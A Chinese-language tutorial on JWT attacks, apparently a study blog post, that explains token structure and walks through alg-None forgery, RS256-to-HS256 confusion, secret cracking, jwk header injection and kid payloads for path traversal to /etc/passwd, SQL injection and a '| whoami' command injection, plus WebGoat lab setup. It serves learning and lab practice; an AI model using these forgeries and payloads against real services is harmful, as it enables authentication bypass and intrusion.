jwt攻击
一、JTW的结构
JWT分别由标头(Header)、有效载荷(Payload)和签名(Signature)三个部分组成,采用base64url编码进行加密,以.作为连接的字符串形式。
base64url编码加密是先做base64加密,然后再将 +
改成 -
、 / 改成 _ ,同时也去除末尾额外添加的 =
字符
Header
header部分承载两部分信息:
一个是typ,表示令牌类型
一个是alg,表示签名所使用的算法,默认是 HMAC SHA256
1 | { |
Payload
payload部分是JWT的主体部分,用于存放有效数据。包含三个部分
- 标准中注册的声明
- 公共的声明
- 私有的声明
标准中注册的声明 :
1 | iss:发行人 |
公共的声明 :
公共的声明可以添加任何的信息,一般添加用户的相关信息或其他业务需要的必要信息.但不建议添加敏感信息,因为该部分在客户端可解密.
格式与上面一样
Signature(签名)
Signature部分是将前面用base64加密后的header和用base64加密后的payload通过.
拼接起来,然后再用header声明所使用的算法(HS256)进行进行加盐secret加密,然后再对所得到的密文进行base64url加密,最终才得出JWT的第三部分。
1 | HMACSHA256( |
二、JWT攻击方式
空加密算法
前提:服务端允许使用”alg” : “None”(几乎不可能,一般只存在靶场中)
方法:将header部分的alg改为None,删除掉Signature部分1
2
3
4
5
6
7import jwt
import base64
def base64urlencode(data):
return base64.b64encode(data).replace(b'+', b'-').replace(b'/', b'_').replace(b'=', b'')
print(base64urlencode(b'{"alg":"None"}')+b'.'+base64urlencode(b'{"iat": ,"name":admin"}')+b'.')修改RSA加密算法为HMAC
JWT中最常用的两种算法为HMAC
和RSA
。RSA则是一种非对称加密算法,使用私钥加密明文,公钥解密密文。
在HMAC和RSA算法中,都是使用私钥对signature字段进行签名,只有拿到了加密时使用的私钥,才有可能伪造token。
一个Web应用,在JWT传输过程中使用RSA算法,密钥pem对JWT token进行签名,公钥pub对签名进行验证。
1
2
3
4{
"alg" : "RS256",
"typ" : "jwt"
}通常情况下密钥是无法获取到的,但是公钥却可以很容易通过某些途径读取到,这时,将JWT的加密算法修改为HMAC,即
1
2
3
4{
"alg" : "HS256",
"typ" : "jwt"
}同时使用获取到的公钥
pub
作为算法的密钥,对token进行签名,发送到服务器端。服务器端会将RSA的公钥(
pub
)视为当前算法(HMAC)的密钥,使用HS256算法对接收到的签名进行验证。密钥爆破工具
JWT 的密钥爆破需要在一定的前提下进行:- 知悉JWT使用的加密算法
- 一段有效的、已签名的token
- 签名用的密钥不复杂(弱密钥)
https://github.com/brendan-rius/c-jwt-cracker
表头注入
通过jwk参数注入自签名的JWT
JWK英文全称为JSON Web Key,是一个IJSON对象,表示一个加密的密钥,他不同于alg属性,JWK是可选的,以下就是一个示例1
2
3
4
5
6
7
8
9
10
11{
"kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
"typ": "JWT",
"alg": "RS256",
"jwk": {
"kty": "RSA",
"e": "AQAB",
"kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
"n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m"
}
}靶场 Lab: JWT authentication bypass via jwk header injection
在理想情况下,服务器应该是只使用公钥白名单来验证JWT签名的,但对于一些相关配置错误的服务器会用JWK参数中嵌入的任何密钥进行验证,攻击者就可以利用这一行为,用自己的RSA私钥对修改过的JWT进行签名,然后在JWK头部中嵌入对应的公钥进行越权操作
o(╥﹏╥)o还有其他标签头太难了
kid
参数用于读取密钥文件,但系统并不会知道用户想要读取的到底是不是密钥文件,所以,如果在没有对参数进行过滤的前提下,攻击者是可以读取到系统的任意文件的。当用户可以操控它的时候,容易引发以下安全问题:
目录遍历1
2
3
4
5{
"alg": "HS256",
"typ": "JWT",
"kid": "../../etc/passwd"
}sql注入
1
2
3
4
5{
"alg": "HS256",
"typ": "JWT",
"kid": "111' || union select database() --"
}命令执行
1
2
3
4
5{
"alg": "HS256",
"typ": "JWT",
"kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG" | whoami;
}
靶场
靶场搭建
项目地址: https://hub.docker.com/r/webgoat/webgoat-8.0/
拉取:docker pull webgoat/webgoat-8.0
启动:docker run -p 映射端口:8080 -t webgoat/webgoat-8.0
还有个靶场太难了o(╥﹏╥)o burpsuite官方靶场
准备工具
jwt在线解密:https://jwt.io/
时间戳生成网址:https://tool.chinaz.com/tools/unixtime.aspx
1 | AttackResult resetVotes( { String token) |
ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'");
重点是这存在sql注入